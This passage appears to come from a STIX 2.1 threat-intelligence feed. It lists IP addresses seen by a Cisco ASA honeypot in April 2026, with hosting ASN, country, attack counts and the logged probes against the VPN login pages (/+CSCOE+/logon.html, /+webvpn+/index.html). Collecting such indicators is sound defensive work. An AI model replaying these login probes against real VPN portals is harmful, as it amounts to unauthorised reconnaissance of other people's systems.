      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c2fc3b0a-81ff-440d-99e8-3c627769fcef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T13:12:58.428Z",
          "last_seen": "2026-04-29T06:27:54.051Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3008373b-5588-43b8-9083-f3aa9a621466",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T12:31:00.768Z",
          "last_seen": "2026-04-24T16:50:25.468Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7e2e4e54-b1fc-415c-9126-55a96b6f1df3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T12:59:29.346Z",
          "last_seen": "2026-04-18T11:54:00.399Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T13:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9f400073-0e0a-4ef7-847c-0f2724b29a93",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T13:20:12.000Z",
      "valid_until": "2026-05-12T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T12:54:24.123Z",
          "last_seen": "2026-04-29T12:12:12.135Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T14:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--11986992-f6d2-420f-b140-2bb26a6a9a16",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:20:05.000Z",
      "valid_until": "2026-05-12T14:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T13:52:19.406Z",
          "last_seen": "2026-04-10T18:26:01.298Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T14:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--2ba9fd64-f5fd-4204-b24f-a2a40ef2ac4d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:20:05.000Z",
      "valid_until": "2026-05-12T14:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T13:51:28.241Z",
          "last_seen": "2026-04-18T23:42:12.599Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T14:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--4642aad4-16de-431f-bb9b-20b7bb110d87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:20:05.000Z",
      "valid_until": "2026-05-12T14:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T13:30:53.625Z",
          "last_seen": "2026-04-29T16:00:36.882Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T14:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 202425 (IP Volume inc)",
      "id": "indicator--ea6fa25f-39c7-40c1-9de6-ef3cde78eed2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:20:05.000Z",
      "valid_until": "2026-05-12T14:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-10T13:59:35.590Z",
          "last_seen": "2026-04-21T16:41:55.259Z",
          "country": "United States",
          "country_code": "US",
          "asn": 202425,
          "as_org": "IP Volume inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T14:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--137126ee-b66b-462d-a141-6fbb0b46ee34",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:20:05.000Z",
      "valid_until": "2026-05-12T14:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T14:07:34.994Z",
          "last_seen": "2026-04-28T07:02:30.514Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T14:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1b85d4e9-9613-4ad7-9b27-8f41009912f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:20:05.000Z",
      "valid_until": "2026-05-12T14:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T13:49:33.346Z",
          "last_seen": "2026-04-29T23:26:26.954Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T14:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dd51684e-3c2a-4c07-9773-e2d51ef272c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T14:20:05.000Z",
      "valid_until": "2026-05-12T14:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-10T14:11:42.898Z",
          "last_seen": "2026-04-27T23:18:05.183Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--cf319116-b719-4e6a-b0b2-007b4f753399",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:20:11.000Z",
      "valid_until": "2026-05-12T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T21:25:20.510Z",
          "last_seen": "2026-04-25T15:20:43.920Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--375b2cfa-9c49-488f-943c-9125302dec29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.253.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:20:11.000Z",
      "valid_until": "2026-05-12T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T14:38:44.751Z",
          "last_seen": "2026-04-30T03:19:57.201Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--4c7117c6-5b6f-4b60-b0f7-fda3f87cebb4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:20:11.000Z",
      "valid_until": "2026-05-12T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T14:40:48.216Z",
          "last_seen": "2026-04-29T10:26:54.542Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a6849d1f-1331-41be-a7db-542c7e57248d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:20:11.000Z",
      "valid_until": "2026-05-12T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T15:07:14.482Z",
          "last_seen": "2026-04-25T16:03:14.302Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8c026b66-fc0f-4594-9231-3aff9ff383d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:20:11.000Z",
      "valid_until": "2026-05-12T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T14:22:53.009Z",
          "last_seen": "2026-04-10T17:56:53.632Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--818e9163-0165-49e8-82a8-1d33b0a72503",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:20:11.000Z",
      "valid_until": "2026-05-12T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T15:05:09.649Z",
          "last_seen": "2026-04-18T23:12:19.232Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4ce57d01-18e0-4c9b-834b-0f9f26847717",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:20:11.000Z",
      "valid_until": "2026-05-12T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T15:18:43.380Z",
          "last_seen": "2026-04-24T02:34:51.477Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--fcc56e37-be81-4397-ab8e-4d5634e63a57",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T15:20:11.000Z",
      "valid_until": "2026-05-12T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T14:58:51.443Z",
          "last_seen": "2026-04-25T13:20:27.931Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--8088d5af-1ff3-4cb0-8ef4-c5f0dcbaec70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T16:20:11.000Z",
      "valid_until": "2026-05-12T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T15:24:11.438Z",
          "last_seen": "2026-04-27T09:25:01.118Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
